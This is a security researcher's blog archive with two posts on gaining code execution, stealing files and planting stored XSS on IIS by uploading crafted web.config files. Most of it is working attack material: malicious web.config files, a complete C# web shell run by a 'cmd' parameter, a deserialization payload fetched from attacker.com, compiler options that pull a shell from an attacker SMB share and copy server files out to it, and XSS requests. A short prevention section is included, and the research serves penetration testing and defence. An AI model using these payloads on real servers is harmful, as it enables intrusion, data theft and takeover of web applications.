Tag Archives: Unrestricted File Upload

Uploading web.config for Fun and Profit 2

Table of Contents:
Introduction
1. Execute command using web.config in the root or an application directory
    1.1. Executing web.config as an ASPX page
    1.2. Running command using AspNetCoreModule
    1.3. Using Machine Key
    1.4. Using JSON_AppService.axd
2. Execute command using web.config in a subfolder/virtual directory
    2.1. Abusing the compilerOptions attribute
        2.1.1. Creating a web shell
        2.1.2. Taking over existing ASPX files
        2.1.3. Stealing internal files
        2.1.4. Stealing more data about the app
    2.2. Taking over existing/uploaded .NET files
    2.3. Stored XSS
        2.3.1. Using StateApplication hanlder
        2.3.2. Using DiscoveryRequestHandler hanlder
3. Prevention techniques
4. Behind the scene
    4.1. Requirements and resources
    4.2. Compiler options
    4.3. Exploring new handlers
      4.3.1. Handlers limit in a subfolder
    4.4. Temporary and compiled files
5. References

Introduction

This is the second part of my Uploading web.config For Fun and Profit! I wrote the original blog post back in 2014 [1] in which I had described a method to run ASP classic code as well as performing stored XSS attacks only by uploading a web.config file.

In this blog post, as well as focusing on running the web.config file itself, I have covered other techniques that can come in handy when uploading a web.config in an application on IIS. My main goal is to execute code or commands on the server using a web.config file and have added more techniques for stored XSS as well.

The techniques described here have been divided into two major groups depending on whether a web.config file can be uploaded in an application root or in a subfolder/virtual directory. Please see [2] if you are not familiar with virtual directory and application terms in IIS. Another blog post of mine can also be helpful to identify a virtual directory or an application during a blackbox assessment [3].

1. Execute command using web.config in the root or an application directory

This method can be very destructive where an application already uses a web.config file that is going to be replaced with ours which might not have all the required settings such as the database connection string or some valid assembly references. It is recommended to not use this technique on live websites when an application might have used a web.config file which is going to be replaced. IIS applications that are inside other applications or virtual directories might not use a web.config file and are generally safer candidates than website’s root directory. The following screenshot shows an example of an internal application anotherapp inside the testwebconfig application which is also inside the Default Web Site.

There are many methods that can be used to execute commands on a server if the web.config file within the root directory of an application can be modified.

I have included four interesting examples in this blog posts which are as follows.

1.1. Executing web.config as an ASPX page

This is very similar to [1] but as we are uploading a web.config file within the root directory of an application, we have more control and we can use the managed handlers to run a web.config file as an ASPX page. The following web.config file shows an example:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
	<system.webServer>
		<handlers accessPolicy="Read, Script, Write">
			<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" modules="ManagedPipelineHandler" requireAccess="Script" preCondition="integratedMode" /> 
			<add name="web_config-Classic" path="web.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\Microsoft.NET\Framework64\v4.0.30319\aspnet_isapi.dll" requireAccess="Script" preCondition="classicMode,runtimeVersionv4.0,bitness64" /> 
		</handlers>
		<security>
			<requestFiltering>
				<fileExtensions>
					<remove fileExtension=".config" />
				</fileExtensions>
				<hiddenSegments>
					<remove segment="web.config" />
				</hiddenSegments>
			</requestFiltering>
		</security>
		<validation validateIntegratedModeConfiguration="false" /> 
	</system.webServer>
	<system.web>
		<compilation defaultLanguage="vb">
			<buildProviders> <add extension=".config" type="System.Web.Compilation.PageBuildProvider" /> </buildProviders>
		</compilation>
		<httpHandlers> 
			<add path="web.config" type="System.Web.UI.PageHandlerFactory" verb="*" /> 
		</httpHandlers> 
	</system.web>
</configuration>
<!-- ASP.NET code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&amp;"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&amp;"-")
%>
-->

It is then possible to browse the web.config file to run it as an ASP.NET page. Obviously the XML contents will also be accessible from the web. Perhaps it is just easier to upload another file with an allowed extension such as a .config, .jpg or .txt file and run that as a .aspx page.

1.2. Running command using AspNetCoreModule

It is also possible to run a command using the ASP.NET Core Module as shown below:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
      <handlers>
	    <remove name="aspNetCore" />
		 <add name="aspNetCore" path="backdoor.me" verb="*" modules="AspNetCoreModule" resourceType="Unspecified" />
      </handlers>
	  <aspNetCore processPath="cmd.exe" arguments="/c calc"/>
    </system.webServer>
</configuration>

The stated command would be executed by browsing the backdoor.me page which does not need to exist on the server! A PowerShell command can be used here as an example for a reverse shell.

1.3. Using Machine Key

As described in [4], the machineKey element can be set in the web.config file in order to abuse a deserialisation feature to run code and command on the server.

1.4. Using JSON_AppService.axd

This is a sneaky way of running code on the server using a known deserialisation issue within an authentication process in .NET Framework (see [5] for more information).

In this case, the web.config file can look like this:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
	<system.web.extensions> 
		<scripting> 
			<webServices> 
				<authenticationService enabled="true" requireSSL="false" /> 	
			</webServices> 
		</scripting> 
	</system.web.extensions>

	<appSettings>
		<add key="aspnet:UseLegacyClientServicesJsonHandling" value="true" />
	</appSettings>

	<system.web>
		<membership defaultProvider="ClientAuthenticationMembershipProvider">
			<providers>
				<add name="ClientAuthenticationMembershipProvider" type="System.Web.ClientServices.Providers.ClientFormsAuthenticationMembershipProvider, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" serviceUri="http://attacker.com/payload?" />
			</providers>
		</membership>
	</system.web>
</configuration>

The following JSON shows the payload page on the attacker’ website (http://attacker.com/payload) that should accept a POST request:

{
    '__type':'System.Windows.Data.ObjectDataProvider, PresentationFramework, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35',
    'MethodName':'Start',
    'ObjectInstance':{
        '__type':'System.Diagnostics.Process, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
        'StartInfo': {
            '__type':'System.Diagnostics.ProcessStartInfo, System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089',
            'FileName':'cmd',
            'Arguments':'/c calc'
        }
    }
}

After uploading the web.config file and setting up the payload page on a remote server, attackers can send the following HTTP request to run their code and command on the server:

POST /testwebconfig/Authentication_JSON_AppService.axd/login HTTP/1.1
Host: victim.com
Content-Length: 72
Content-Type: application/json;charset=UTF-8

{"userName":"foo","password":"bar","createPersistentCookie":false}

It should be noted that Profile_JSON_AppService.axd or Role_JSON_AppService.axd might come in handy here as well but they need to be enabled in web.config and a suitable method needs to be called to trigger the deserialisation process.

2. Execute command using web.config in a subfolder/virtual directory

A web.config file in a virtual directory is more limited than a web.config in the root of an application folder. Some of the useful sections or properties that can be abused to execute commands such as AspNetCoreModule, machineKey, buildProviders and httpHandlers cannot be used in a web.config which is in a subfolder.

In my previous related blog post back in 2014 [1], I had found a method to run a web.config file as an ASP file when ISAPI modules were allowed to be used in a virtual directory. It looks like this:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />        
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&amp;"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&amp;"-")
%>
-->

Other modules such as the ones used for PHP can also be used similarly when they are allowed. However, it is often not possible to run anything but .NET code when an IIS application has been configured properly. As a result, I am introducing a few more techniques for this purpose.

2.1. Abusing the compilerOptions attribute

I am going to use the following web.config file as my base template:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
	<system.web>
		<httpRuntime targetFramework="4.67.1"/>
		<compilation tempDirectory="" debug="True" strict="False" explicit="False" batch="True" 
			batchTimeout="900" maxBatchSize="1000" maxBatchGeneratedFileSize="1000" numRecompilesBeforeAppRestart="15" 
			defaultLanguage="c#" targetFramework="4.0" urlLinePragmas="False" assemblyPostProcessorType="">

			<assemblies>

			</assemblies>

			<expressionBuilders>

			</expressionBuilders>

			<compilers> 
				<compiler language="c#"
					extension=".cs;.config"
					type="Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089" 
					warningLevel="4"  
					compilerOptions=''/>
			</compilers>
		</compilation> 
	</system.web>
	<system.webServer>
		<handlers>
			<add name="web_config" path="web.config" verb="*" type="System.Web.UI.PageHandlerFactory" resourceType="File" requireAccess="Script" preCondition="integratedMode" />
		</handlers>
		<security>
			<requestFiltering>
				<hiddenSegments>
					<remove segment="web.config" />
				</hiddenSegments>
				<fileExtensions>
					<remove fileExtension=".config" />
				</fileExtensions>
			</requestFiltering>
		</security>
	</system.webServer>
</configuration>

The type attribute of the compiler element can be set to one of the followings default types (version can change):

C#:

Microsoft.CSharp.CSharpCodeProvider,System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

This uses the csc.exe command to compile.

VB.NET (version 2 was chosen as an example):

Microsoft.VisualBasic.VBCodeProvider, System, Version=2.0.3600.0, Culture=neutral, PublicKeyToken=b77a5c561934e089

This uses the vbc.exe command to compile.

Jscript.NET:

Microsoft.JScript.JScriptCodeProvider, Microsoft.JScript, Version=7.0.3300.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a

This uses the jsc.exe command to compile.

These commands can generally be found in the .NET folder. For .NET v4 the folder would be:

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\

The value of the compilerOptions attribute in the above web.config template file will be added to the compiler commands as an argument. Multiple arguments can be provided using white space characters.

When no option is provided for the compiler command, the value of the compilerOptions attribute will be treated as a file name for the compiler to compile.

The # character will terminate the command and an @ character will load another file as described in [6].

If we could find a method to execute command when compiling a C#, VB.NET, or Jscript.NET file, we could easily exploit this by compiling an additional file perhaps from a remote shared drive or a previously uploaded static file. However, I could not find anything whilst doing my research on this. Please let me know if you know a trick and I will add it here!

Important note: It should be noted that if ASP.NET pages exist in the same folder that a web.config file is being uploaded to, they will stop working using the examples which I am providing here as we are changing the compilation process. Therefore, if you have only one shot in uploading a web.config file and you cannot rewrite it again, you should be absolutely certain about your approach and perhaps completely avoid this on a live application where it cannot be safely uploaded in an empty folder.

2.1.1. Creating a web shell

The following string shows the compilerOptions attribute that can be used to create a dirty web shell with some binary data in a web directory:

/resource:"\\KaliBoxIP\Public\webshell.txt" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #

After browsing the web.config file with the above setting, a binary file with the webshell.aspx name will be created in the requested path. Knowledge of the application path on the server is important here. It is possible to reveal the application path simply by causing an error when error messages within the ASP.NET Yellow Screen of Death (YSOD) are displayed. It is recommended to create an error in another file rather than the web.config file itself but if you can modify it later, here is a web.config file that simply shows an error:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>  
	<system.web>
		<customErrors mode="Off" />
		IDontExist!
	</system.web>
</configuration>

The web shell should also be created outside of where our web.config file has been uploaded unless it is possible to change the web.config file after creating the web shell to remove the compilerOptions attribute to allow the normal compilation process.

It should be noted that the code within the webshell.txt will be embedded in the middle of the webshell.aspx which contains binary data. As this is not a clean copy of the webshell, it can be used as the first stage of gaining access.

What if SMB is not reachable:

Where the target cannot communicate via SMB, it is possible to upload the web shell with an allowed extension to include it in the /resource option:

/resource:"C:\appdata\wwwroot\myapp\attachment\myshell.config" /out:"C:\appdata\wwwroot\myapp\webshell.aspx" #

2.1.2. Taking over existing ASPX files

When an ASPX file exists in the same folder that a web.config file is being uploaded to, it is possible to change the compilation process to take it over.

Knowledge of application and virtual directories is important to use this technique. I will explain this using the following example:

A web.config file can be uploaded in C:\appdata\wwwroot\myapp\attachment\ and file.aspx also exists in the same path and is accessible via the following URL:

https://victim.com/myapp/attachment/file.aspx

Now it is possible to use the following compiler option to take over this file:

\\KaliBoxIP\Public\webshellcs.txt #

Or

"C:\appdata\wwwroot\myapp\attachment\webshellcs.txt" #

Content of the webshellcs.txt file was:

namespace ASP
{
    using System;
    [System.Runtime.CompilerServices.CompilerGlobalScopeAttribute()]
    public class attachment_file_aspx : global::System.Web.UI.Page, System.Web.IHttpHandler
    {
        private void @__Render__control1(System.Web.UI.HtmlTextWriter @__w, System.Web.UI.Control parameterContainer)
        {
            if (!String.IsNullOrEmpty(Request["cmd"]))
            {
                System.Diagnostics.Process process = new System.Diagnostics.Process();
                process.StartInfo.FileName = Request["cmd"];
                process.StartInfo.Arguments = Request["arg"];
                process.StartInfo.UseShellExecute = false;
                process.StartInfo.RedirectStandardOutput = true;
                process.StartInfo.RedirectStandardError = true;
                process.Start();
                //* Read the output (or the error)
                string output = process.StandardOutput.ReadToEnd();
                @__w.Write("Result:<br><pre>");
                @__w.Write(output);
            }
            else
            {
                @__w.Write("Use:\"?cmd=cmd.exe&amp;arg=/c dir\" as an example!");
            }
        }

        [System.Diagnostics.DebuggerNonUserCodeAttribute()]
        protected override void FrameworkInitialize()
        {
            this.SetRenderMethodDelegate(new System.Web.UI.RenderMethod([email protected]__Render__control1));
        }
    }
}

2.1.3. Stealing internal files

The following string shows the compilerOptions attribute:

/resource:c:\windows\win.ini /out:\\KaliBoxIP\Public\test.bin

After opening an existing ASP.NET page in the upload folder, this creates the test.pdb and test.bin files in the shared folder that includes the win.ini file. This can especially be useful to steal the application’s web.config file as it may contain sensitive data such as the machine key that can lead to remote code execution straight away [4].

2.1.4. Stealing more data about the app

The following string shows the compilerOptions attribute:

/resource:\\KaliBoxIP\Public\test.txt -bugreport:\\KaliBoxIP\Public\foobar1.txt /errorreport:none

After opening an existing ASP.NET page in that folder, this creates a large file on the shared path that might contain sensitive data about the application or its underlying technology.

Obviously this file can also be created on the same web server when the path is known and files can be downloaded remotely.

2.2. Taking over existing/uploaded .NET files

The following web.config can be used to take over existing web service files:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>  
	<system.web>
		<webServices>
			<protocols>
				<add name="Documentation"/> 
			</protocols>
			<wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/>
		</webServices>
	</system.web>
</configuration>

This would load the webshell.aspx file from a SMB share and would execute it when opening any existing ASMX files in that folder.

It is also possible to remap the .master and .ascx extensions to act like ASMX files to take them over as well. The chance of uploading these files is higher than other ASP.NET extensions such as .aspx, .asmx, .ashx, .svc, and .soap that can also be taken over using the same technique.

The following web.config file shows an example that can take over multiple file extensions:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>  
	<system.web>
		<webServices>
			<protocols>
				<add name="Documentation"/> 
			</protocols>
			<wsdlHelpGenerator href="\\KaliBoxIP\Public\webshell.aspx"/>
		</webServices>
	</system.web>
	<system.webServer>
		<handlers>
			<add name="remap_asmx1" path="*.ascx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx2" path="*.master" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx3" path="*.aspx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx4" path="*.ashx" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx5" path="*.svc" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
			<add name="remap_asmx6" path="*.soap" verb="*" type="System.Web.Script.Services.ScriptHandlerFactory, System.Web.Extensions, Version=4.0.0.0, Culture=neutral, PublicKeyToken=31bf3856ad364e35" resourceType="File" requireAccess="Script" />
		</handlers>
		<security>
			<requestFiltering>
				<fileExtensions>
					<remove fileExtension=".ascx" />
					<remove fileExtension=".master" />
				</fileExtensions>
			</requestFiltering>
		</security>
	</system.webServer>
</configuration>

It might be difficult to use this technique when SMB has been blocked as the file extension in the href attribute of the wsdlHelpGenerator element matters .

2.3. Stored XSS

It is also possible to create stored XSS. This might be useful when other methods do not work for any reasons.

A few methods of making the application vulnerable to XSS via uploading a web.config file was discussed in [1]. For example, when some files are allowed to be downloaded, it is possible to easily exploit this for XSS by manipulating the mimetypes. The following example shows how a .txt file could be run as a .html file:

<?xml version="1.0" encoding="utf-8"?>
<configuration>
    <system.webServer>
        <staticContent>
            <remove fileExtension=".txt" />
            <mimeMap fileExtension=".txt" mimeType="text/html" />
        </staticContent>
    </system.webServer>
</configuration>

In this blog post, two new ASP.NET handlers have also been identified that can be used for this purpose.

2.3.1. Using StateApplication hanlder

The StateApplication handler is an internal class within the System.Web.SessionState namespace that is used for caching and is not supposed to be called directly from user code. It can be abused to replace response of any exiting files with an arbitrary text.

The following web.config file shows an example with which the response of web.config is being replaced with an XSS payload:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
	<system.webServer>
		<handlers>
			<add name="web_config" path="*.config" verb="*" type="System.Web.SessionState.StateApplication,System.Web, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" resourceType="File" requireAccess="Script" />
		</handlers>
		<security>
			<requestFiltering>
				<hiddenSegments>
					<remove segment="web.config" />
				</hiddenSegments>
				<fileExtensions>
					<remove fileExtension=".config" />
				</fileExtensions>
			</requestFiltering>
		</security>
	</system.webServer>
</configuration>

To create a stored XSS in cache for 525600 minutes (the maximum amount) the following request should be sent after uploading the web.config file:

PUT /testwebconfig/userfiles/web.config HTTP/1.1
Host: victim.com
Http_Timeout: 525600
Content-Length: 25

<script>alert(1)</script>

To retrieve the content:

http://victim.com/testwebconfig/userfiles/web.config

To delete the contents:

DELETE /testwebconfig/userfiles/web.config HTTP/1.1
Host: victim.com

In order to create multiple XSS payloads using the same name, additional parameters can be added to the URL. For example:

Web.config/payload1
Or
Web.config\payload1
And
Web.config?payload2

2.3.2. Using DiscoveryRequestHandler hanlder

The DiscoveryRequestHandler class in the System.Web.Services.Discovery namespace can be used to serve XML files (a .disco file in its actual use). This can be abused to run JavaScript code from an XML response.

If a web.config file can be uploaded, a test.config file containing XML with JavaScript code can be uploaded as well. The following web.config shows an example with which the test.config file will be served as an XML file:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>  
	<system.webServer>
		<handlers>
			<add name="web_config" path="test.config" verb="*" type="System.Web.Services.Discovery.DiscoveryRequestHandler,System.Web.Services, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a" resourceType="File" requireAccess="Script" />
		</handlers>
		<security>
			<requestFiltering>
				<hiddenSegments>
					<remove segment="web.config" />
				</hiddenSegments>
				<fileExtensions>
					<remove fileExtension=".config" />
				</fileExtensions>
			</requestFiltering>
		</security>
	</system.webServer>
</configuration>

The test.config file can be:

<?xml version="1.0" ?>
<script xmlns="http://www.w3.org/1999/xhtml">alert(1)</script>

It should be noted that an XML file with a valid DynamicDiscoveryDocument type cannot be used for XSS as it will be used to search the current directory to discover existing web services instead. For curious readers, an example of valid file content was:

<dynamicDiscovery xmlns="urn:schemas-dynamicdiscovery:disco.2000-03-17">
    <exclude path="foobar"></exclude>
</dynamicDiscovery>

3. Prevention techniques

The first line of defence is to validate the filenames, extensions, and contents using a whitelist approach. This can be done by allowing only appropriate file extensions and to check the file contents to ensure they use a valid format. More recommendation can be seen on the OWASP website [7].

Another classic recommendation is to save the files outside of a web directory or in the database. A more secure way these days can be to store uploaded files in the cloud such as in Amazon S3. You have to make sure that access control checks are appropriate and working, and the implementation will not cause other security issues such as insecure object reference (IDOR) or path manipulations.

Using appropriate HTTP headers can also prevent cross-site content hijacking attacks (see [8]).

The following recommendations can also make the attacks via uploading web.config files harder:

  • Using precompiled applications can make it more difficult for script kiddies to attack your application
  • Ensure that there is no write permission on the existing files within the web application including web.config files especially outside of the upload directory
  • Monitor creation of any dynamic files on the website to detect potential attacks

If you do not have access to the code, cannot change file permissions, or cannot alter how the application works, you can still use a web.config file in the application path or in the root of the website to mitigate some attacks that can happen by uploading a web.config file:

  • If possible, ensure that the web.config files in virtual directories are disabled and cannot be used. This can be done by changing the allowSubDirConfig attributes within the applicationHost.config file which is normally located at C:\Windows\System32\inetsrv\Config\ (see [9] for more details)
  • Sensitive web.config elements that should not be changed by other web.config files in subdirectories should also be protected. This can be done using the allowOverride attribute or locking features within a web.config file (see [10] and [11] for more details).  The following web.config file shows an example that can be used in the parent directory to lock certain sections that were abused in this research:
<?xml version="1.0" encoding="utf-8"?>
<configuration>
	<system.webServer>
		<handlers lockItem="true" />
		<staticContent lockItem="true" />
		<security>
			<requestFiltering lockItem="true" />
		</security>	
	</system.webServer>

	<system.web>
		<httpRuntime lockItem="true" />
		<compilation lockItem="true" />
		<webServices lockItem="true" />
	</system.web>

	<system.serviceModel>
		<behaviors lockItem="true" />
		<services lockItem="true" />
	</system.serviceModel>
</configuration>

4. Behind the scene

This section basically covers what I did during the research to find the capabilities explained above. Although this might be the most boring part of this write-up, I think it can be useful for someone who wants to continue this research.

Finding how you can run code and command when a web.config can be in the root of an IIS application was the easiest part as I could just use documented web.config capabilities and my previous research.

However, exploring new methods when a web.config file is being uploaded in a subfolder -which is the most common case- required a lot more work.

4.1. Requirements and resources

The main resources of my research apart from time were ASP.NET Framework source code, Visual Studio, Sysinternals Process Monitor, dnSpy, Telerik JustDecompile, IIS web server, Kali Linux, and countless amount of Googling!

I used the Kali Linux mainly for having an easy unauthenticated SMB share that I could read/write from/to. The /etc/samba/smb.conf file that finally worked for me with SMB v3 support was:

[global]
#workgroup = WORKGROUP
#server string = Samba Server XYZ
#netbios name = someRandomUbuntu
#security = user
map to guest = Bad User
#dns proxy = no
log file = /var/log/samba/%m
log level = 1
server min protocol = SMB3
client min protocol = SMB3
client max protocol = SMB3

[Public]
path = /tmp/smbshare/
writable = yes
guest ok = yes
read only = no
browsable = yes
create mode = 0777
directory mode = 0777
# force user = nobody

4.2. Compiler options

When abusing the compiler options, we are basically passing our arguments to a compiler (csc.exe, vbc.exe, or jsc.exe) inside a file that has been passed via the @ character. Although command injection comes to mind straight away, it did not work and I could not run another command using it.

There are two possible avenues that can lead to command execution easier than what I have found in this research:

  • Code execution when a specific file is being compiled
  • Finding an argument that can in turn run code or command

I failed to find anything that can work here. The -analyzer option sounded very promising for the C# Compiler but it was missing from the csc.exe file that was executed by .NET.

4.3. Exploring new handlers

As it can be seen in this blog post, identifying all HTTP handlers that can be processed within the web.config file was very important. This was done by searching classes that implemented IHttpHandler, IHttpHandlerFactory, and IHttpHandlerFactory2.

Here is how you can see them easily in the browser (thanks to Microsoft!):

https://referencesource.microsoft.com/#System.Web/IHttpHandler.cs,62c4e10ee7e6cd36,references

https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,8437c9ce8bcd1bda,references

https://referencesource.microsoft.com/#System.Web/IHttpHandlerFactory.cs,21cd2fd2bb57b501,references

It should be noted that sometimes new handlers could also be derived from the implementations. However, the behaviour was normally quite the same with minimal changes.

4.3.1. Handlers limit in a subfolder

ASP.NET uses file extensions to detect their types and if it cannot get the proper type that for example is needed for a web service, it requires a new extension to be add to the buildProviders element. However, the buildProviders element can only be set by the applications otherwise it will show the following error:

The element 'buildProviders' cannot be defined below the application level.

This protection has been coded within the PostDeserialize() method of CompilationSection.cs in .NET Framework rather than being in the machine.config file:

https://referencesource.microsoft.com/#System.Web/Configuration/CompilationSection.cs,904

There are ways to execute command on an IIS using extensions that are predefined but the focus of this research was to use new extensions that are likely to be allowed to be uploaded.

The predefined list of buildProviders can be seen in the main web.config within the ASP.NET configuration folder (e.g. C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config).

4.4. Temporary and compiled files

Temporary and compiled files are normally copied into a temporary directory within .NET Framework for example:

C:\Windows\Microsoft.NET\Framework64\[version]\Temporary ASP.NET Files\[appname]\[hash]\[hash]

Some of these files will be removed immediately and the easiest way for me to monitor them all was to remove the delete permission of all users on the temporary directory that my application used. This can be easily restored when it is not needed anymore.

We can create files there, we should be able to replace existing files of that application to execute code on the server in theory. In practice, all these files are using a random value in their name and they need to be stolen using for example 8.3 filenames to be analysed. I have not studied when .NET Framework creates new DLL files but in theory it should be possible to rewrite these existing DLL files to take over existing .NET files anywhere on the application.

5. References

[1] https://soroush.secproject.com/blog/2014/07/upload-a-web-config-file-for-fun-profit/

[2] https://docs.microsoft.com/en-us/iis/get-started/planning-your-iis-architecture/understanding-sites-applications-and-virtual-directories-on-iis

[3] https://soroush.secproject.com/blog/2019/07/iis-application-vs-folder-detection-during-blackbox-testing/

[4] https://soroush.secproject.com/blog/2019/04/exploiting-deserialisation-in-asp-net-via-viewstate/

[5] https://www.nccgroup.trust/uk/our-research/use-of-deserialisation-in-.net-framework-methods-and-classes/

[6] https://docs.microsoft.com/en-us/dotnet/csharp/language-reference/compiler-options/listed-alphabetically

[7] https://www.owasp.org/index.php/Unrestricted_File_Upload

[8] https://github.com/nccgroup/CrossSiteContentHijacking

[9] https://techcommunity.microsoft.com/t5/IIS-Support-Blog/How-to-prevent-web-config-files-to-be-overwritten-by-config/ba-p/297627

[10] https://weblogs.asp.net/jongalloway/10-things-asp-net-developers-should-know-about-web-config-inheritance-and-overrides

[11] https://docs.microsoft.com/en-us/previous-versions/dotnet/netframework-4.0/ms228167(v=vs.100)

Upload a web.config File for Fun & Profit

The web.config file plays an important role in storing IIS7 (and higher) settings. It is very similar to a .htaccess file in Apache web server. Uploading a .htaccess file to bypass protections around the uploaded files is a known technique. Some interesting examples of this technique are accessible via the following GitHub repository: https://github.com/wireghoul/htshells

In IIS7 (and higher), it is possible to do similar tricks by uploading or making a web.config file. A few of these tricks might even be applicable to IIS6 with some minor changes. The techniques below show some different web.config files that can be used to bypass protections around the file uploaders.

Running web.config as an ASP file

Sometimes IIS supports ASP files but it is not possible to upload any file with .ASP extension. In this case, it is possible to use a web.config file directly to run ASP classic codes:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers accessPolicy="Read, Script, Write">
         <add name="web_config" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified" requireAccess="Write" preCondition="bitness64" />         
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   </system.webServer>
</configuration>
<!-- ASP code comes here! It should not include HTML comment closing tag and double dashes!
<%
Response.write("-"&"->")
' it is running the ASP code if you can see 3 by opening the web.config file!
Response.write(1+2)
Response.write("<!-"&"-")
%>
-->

Removing protections of hidden segments

Sometimes file uploaders rely on Hidden Segments of IIS Request Filtering such as APP_Data or App_GlobalResources directories to make the uploaded files inaccessible directly.

However, this method can be bypassed by removing the hidden segments by using the following web.config file:

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
    <system.webServer>
        <security>
            <requestFiltering>
                <hiddenSegments>
                    <remove segment="bin" />
                    <remove segment="App_code" />
                    <remove segment="App_GlobalResources" />
                    <remove segment="App_LocalResources" />
                    <remove segment="App_Browsers" />
                    <remove segment="App_WebReferences" />
                    <remove segment="App_Data" />
					<!--Other IIS hidden segments can be listed here -->
                </hiddenSegments>
            </requestFiltering>
        </security>
    </system.webServer>
</configuration>

Now, an uploaded web shell file can be directly accessible.

Creating XSS vulnerability in IIS default error page

Often attackers want to make a website vulnerable to cross-site scripting by abusing the file upload feature.

The handler name of IIS default error page is vulnerable to cross-site scripting which can be exploited by uploading a web.config file that contains an invalid handler name (does not work in IIS 6 or below):

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
   <system.webServer>
      <handlers>
         <!-- XSS by using *.config -->
         <add name="web_config_xss&lt;script&gt;alert('xss1')&lt;/script&gt;" path="*.config" verb="*" modules="IsapiModule" scriptProcessor="fooo" resourceType="Unspecified" requireAccess="None" preCondition="bitness64" />
         <!-- XSS by using *.test -->
         <add name="test_xss&lt;script&gt;alert('xss2')&lt;/script&gt;" path="*.test" verb="*"  />
      </handlers>
      <security>
         <requestFiltering>
            <fileExtensions>
               <remove fileExtension=".config" />
            </fileExtensions>
            <hiddenSegments>
               <remove segment="web.config" />
            </hiddenSegments>
         </requestFiltering>
      </security>
   <httpErrors existingResponse="Replace" errorMode="Detailed" />
   </system.webServer>
</configuration>

Other techniques

Rewriting or creating the web.config file can lead to a major security flaw. In addition to the above scenarios, different web.config files can be used in different situations. I have listed some other examples below (a relevant web.config syntax can be easily found by searching in Google):

Re-enabling .Net extensions: When .Net extensions such as .ASPX are blocked in the upload folder.
Using an allowed extension to run as another extension: When ASP, PHP, or other extensions are installed on the server but they are not allowed in the upload directory.
Abusing error pages or URL rewrite rules to redirect users or deface the website: When the uploaded files such as PDF or JavaScript files are in use directly by the users.
Manipulating MIME types of uploaded files: When it is not possible to upload a HTML file (or other sensitive client-side files) or when IIS MIME types table is restricted to certain extensions.

Targeting more users via client-side attacks

Files that have already been uploaded to the website and have been used in different places can be replaced with other contents by using the web.config file. As a result, an attacker can potentially target more users to exploit client-side issues such as XSS or cross-site data hijacking by replacing or redirecting the existent uploaded files.

Additional Tricks

Sometimes it is not possible to upload or create a web.config file directly. In this case, copy, move, or rename functionality of the web application can be abused to create a web.config file.

